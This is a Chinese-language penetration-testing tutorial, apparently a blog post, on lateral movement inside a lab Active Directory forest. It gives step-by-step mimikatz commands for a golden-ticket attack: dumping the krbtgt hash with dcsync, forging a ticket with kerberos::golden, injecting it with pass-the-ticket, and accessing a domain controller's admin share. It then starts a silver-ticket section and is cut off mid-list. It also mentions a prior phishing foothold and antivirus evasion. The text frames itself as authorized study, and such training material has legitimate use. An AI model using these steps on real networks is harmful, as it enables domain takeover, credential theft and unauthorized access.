渗透测试-地基篇
该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣,决定你在这行的成就!
渗透测试人员需谨记《网络安全法》,根据《网络安全法》所示,未经授权的渗透测试都是不合法的,不管是出于何种目的。红队渗透人员在进行渗透期间,渗透测试的行为和项目必须在被渗透方授予权限可渗透后,才可进行渗透测试操作。
如今有一家dayu公司,需要对自己的业务以及整体的内网框架体系进行隐患挖掘,授予权限我进行对dayu公司的渗透测试操作,在签署了双方的《渗透测试授权书》后,我开始了对dayu公司的渗透之旅。
跳开思维讲,我此篇内容是内网渗透篇章,通过我的专栏:
社工钓鱼 -> 免杀过全杀软 -> 内网渗透
那么我通过了社工钓鱼的各种方式,将钓鱼文件进行免杀后,成功钓鱼到了该公司外围人员计算机,并控制了该计算机权限获得shell,并成功登录对方电脑。
通过前期对域用户大量的信息收集,画出了相对应的简单网络拓扑图,下一步需要进攻子域控制器,思路如下:
域普通用户 -> 子域控制器 -> 父域控制器 ->辅域控制器
通过该思路进攻即可,还有另外一条思路:
域普通用户 -> 10.10.21.0/24二级区域 -> 父子域控制器 -> 横向延伸
渗透人员最爱系统之一有kali,还有各类windows集成的武器库系统,通过上期隐藏通信隧道技术已经在内网域森林中建立了一级隧道,并在上期权限提升中将普通用户权限提升为system最高权限后,今天我们就来对域森林进行横向移动,总结实战中会遇到的横向移动各种方法,利用这些方法在内网中遨游!
不会内网横向移动技术,就无法对内网机器进行进一步的渗透!!
目前信息收集获得的网络情况:(模拟环境)
拓扑图简介
为了更好的演示接下来的渗透和回看总拓扑图公司搭建环境情况:
接下来将演示分析内网中的横向移动各种方法,利用该方法在域森林中旅行!
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
所需条件:
1. 需要伪造的域管理员用户名
2. 完整的域名
3. 域SID
4. krbtgt的NTLM Hash
伪造凭据提升域内普通用户的权限,我们现在以一个本地administrator权限用户登录域内的一个主机中!
1)判断无票据
klist purge #windows命令行下清除票据
目前是无票据状态!
2)获取域名信息
net config workstation
可知域名为:dayu和其他信息。
3)获取主机名
nltest /dsgetdc:域名
可知DC主机名为:dayu1,通过上期方法上传mimikatz,以管理员权限运行CMD,再去执行mimikatz:
1)导出用户krbtgt的hash
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:xiyou.dayu.com /all /csv
成功获取krbtgt的hash值为:
39601ebdad1d3e960ed3712398d3ab3a
2)查看域中所有SID
两种方法可以看到krbtgt用户的SID!
lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt
wmic useraccount get name,sid
成功获取krbtgt的SID值,可以开始进行票据攻击了!
利用mimikatz生成金票生成.kirbi文件并保存!
mimikatz.exe "kerberos::golden /admin:systest /domain:xiyou.dayu.com /sid:S-1-5-21-1816246241-4074331134-2257350442 /krbtgt:39601ebdad1d3e960ed3712398d3ab3a /ticket:ticket.kirbi" exit
/admin:伪造的用户名(任意)
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
可看到通过前期的条件获取,成功在普通域用户上创建了ticket.kirbi黄金票据,接下来进行使用票据!
我们可以ticket.kirbi保存起来,任何情况下都可以通过该票据进行登录到域控制器,那么怎么使用呢,接下来将演示!
1)登录域内普通用户,通过mimikatz中的kerberos::ptt功能将ticket.kirbi导入内存中:
kerberos::purge
kerberos::ptt ticket.kirbi
成功导入票据!
2)验证金票
可看到成功导入金票!
dir \\xiyou.xiyou.dayu.com\c$
命令执行成功!成功访问,直接通过上期技术建立计划任务即可!
通过黄金票据伪造的TGT,获取到了子域控制器的任意时间段横向移动的方法后,还有另外一个技术叫白银票据。黄金票据是伪造TGT,那么白银票据就是伪造的ST了,在Kerberos认证的第三步,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key解密ST,从而获得Session Key。通过Session Key解密Authenticator3,进而验证对方的身份,验证成功就让Client访问server上的指定服务了。
所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
1. 域名
2. 域SID(test)
3. 目标服务器的FQDN
4. 可利用的服务
5. 服务账号的NTLM Hash
6. 要伪造的用户名
接下来我们将每个条件进行信息收集!
我们现在以一个本地administrator用户登录域内的一个主机中!
1)获取域名
net config workstation
可知域名为:xiyou.dayu.com!
2)获取主机名
nltest /dsgetdc:xiyou.dayu.com
可知DC主机名为:xiyou.xiyou.dayu.com,方便后期远控使用!
3)获取域SID